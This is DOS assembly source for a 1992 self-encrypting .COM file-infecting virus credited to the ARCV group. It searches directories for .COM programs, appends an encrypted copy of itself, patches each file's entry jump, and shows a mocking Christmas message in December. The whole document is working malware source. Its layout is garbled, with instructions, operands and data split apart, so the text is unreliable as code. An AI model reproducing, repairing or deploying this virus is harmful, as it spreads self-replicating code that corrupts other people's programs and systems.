len level1len level2len
equ offset marker+5-offset main2 equ offset level1-offset main3 equ offset level2-offset main3
code segment assume cs:code,ds:code,es:code org 0100h main:
xor si,si call level2 call level1 jmp main2 dd 0h
main2: nextline:
call nextline pop ax sub ax,offset nextline xchg si,ax call level1 call level2 mov ax,word ptr ds:[oldstart+si] mov cx,word ptr ds:[oldstart+si+2] mov ds:[0100h],ax mov ds:[0102h],cx
main3:
getdate:
mov ah,2ah int 21h jnc notexit
lexit:
jmp exit
notexit:
cmp dh,0ch jne getdir jmp activ8
getdir:
mov ah,47h mov dl,00h push si lea bx,(curdir+si) mov si,bx int 21h jc lexit pop si mov byte ptr ds:[flag+si],00h
setdta:
mov ah,1ah lea dx,(buff+si) int 21h
findfile:
mov mov lea int jnc
ah,4eh cx,00h dx,(search1+si) 21h openup
cmp al,12h jne lexit jmp next_dir openup:
mov ah,3dh mov al,02h lea dx,(buff+1eh+si) int 21h jc lexit mov ds:[handle+si],ax
movepoint:
mov ax,4202h mov bx,ds:[handle+si] mov cx,0ffffh mov dx,0fffbh int 21h jc lclose jmp checkmark
lclose:
jmp close
checkmark:
mov ah,3fh mov bx,ds:[handle+si] mov cx,05h lea dx,(check+si) int 21h jc lclose lea di,(marker+si) lea ax,(check+si) xchg si,ax mov cx,05h cmpsb jnz infect loop compare xchg si,ax jmp next_file
compare:
infect:
xchg si,ax mov ax,4200h mov bx,ds:[handle+si] xor cx,cx xor dx,dx int 21h jc lclose mov ah,3fh mov bx,ds:[handle+si] lea dx,(oldstart+si) mov cx,4 int 21h jc lclose mov ax,4202h mov bx,ds:[handle+si] xor cx,cx xor dx,dx int 21h
jc lclose sub ax,3h mov word ptr ds:[jump+1+si],ax call save mov ax,4200h mov bx,ds:[handle+si] xor cx,cx xor dx,dx int 21h mov ah,40h mov bx,ds:[handle+si] mov cx,3 lea dx,(jump+si) int 21h mov ah,3bh lea dx,(bkslash+si) int 21h jmp close next_dir:
cmp ds:[dir_count],20 je exit mov ah,1ah lea dx,(buff2+si) int 21h mov ah,3bh lea dx,(bslsh+si) int 21h cmp byte ptr ds:[flag+si],00h jne nextdir2 mov byte ptr ds:[flag+si],0ffh mov ah,4eh lea dx,(search2+si) xor cx,cx mov bx,cx mov cl,10h int 21h jc exit jmp chdir
nextdir2:
mov ah,4fh int 21h jc exit inc ds:[dir_count+si]
chdir:
mov lea int jmp
ah,3bh dx,(buff2+1eh+si) 21h setdta
activ8:
mov lea int jmp
ah,09h dx,(msg+si) 21h crash
crash:
close:
mov ah,3eh mov bx,ds:[handle+si] int 21h
runold:
mov ax,0100h jmp ax
next_file:
mov ah,3eh mov bx,ds:[handle+si] int 21h mov ah,4fh int 21h jc next_dir jmp openup
exit:
mov lea int jmp
info
db '[anna]',00h db 'slartibartfast, arcv nuke the french',00h
msg
db db db db db db db db
oldstart:
mov ah,4ch int 21h
jump flag bslsh search2 search1
db db db db db
level2:
lea di,(main3+si) mov cx,level2len mov al,byte ptr ds:[di] rol al,4 stosb loop enc2 ret
enc2:
level1: inc1: key:
ah,3bh dx,(curdir+si) 21h runold
0dh,0ah,07h,0dh ' have a cool yule from the arcv',0dh,0ah ' xcept anna jones',0dh,0ah 'i hope you get run over by a reindeer',0dh,0ah ' santas bringin',39,' you a bomb',0dh,0ah ' all my lurve - slartibartfast',0dh,0ah '(c) arcv 1992 - england raining again',0dh,0ah '$'
0e9h,0,0 00h '\',00h '*. ',00h '*.com',00h
lea di,(main3+si) mov cx,level1len xor byte ptr ds:[di],01h inc di loop inc1 ret
save:
inc byte ptr ds:[key-1+si] call level2 call level1 mov ah,40h mov bx,ds:[handle+si] mov cx,len lea dx,(main2+si) int 21h call level1 call level2 ret
marker
db 'imir8'
bkslash curdir handle buff buff2 check dir_count
db db dw db db db dw
code ends end main
'\' 64 dup (0) 0h 60h dup (0) 60h dup (0) 5 dup (?) 0h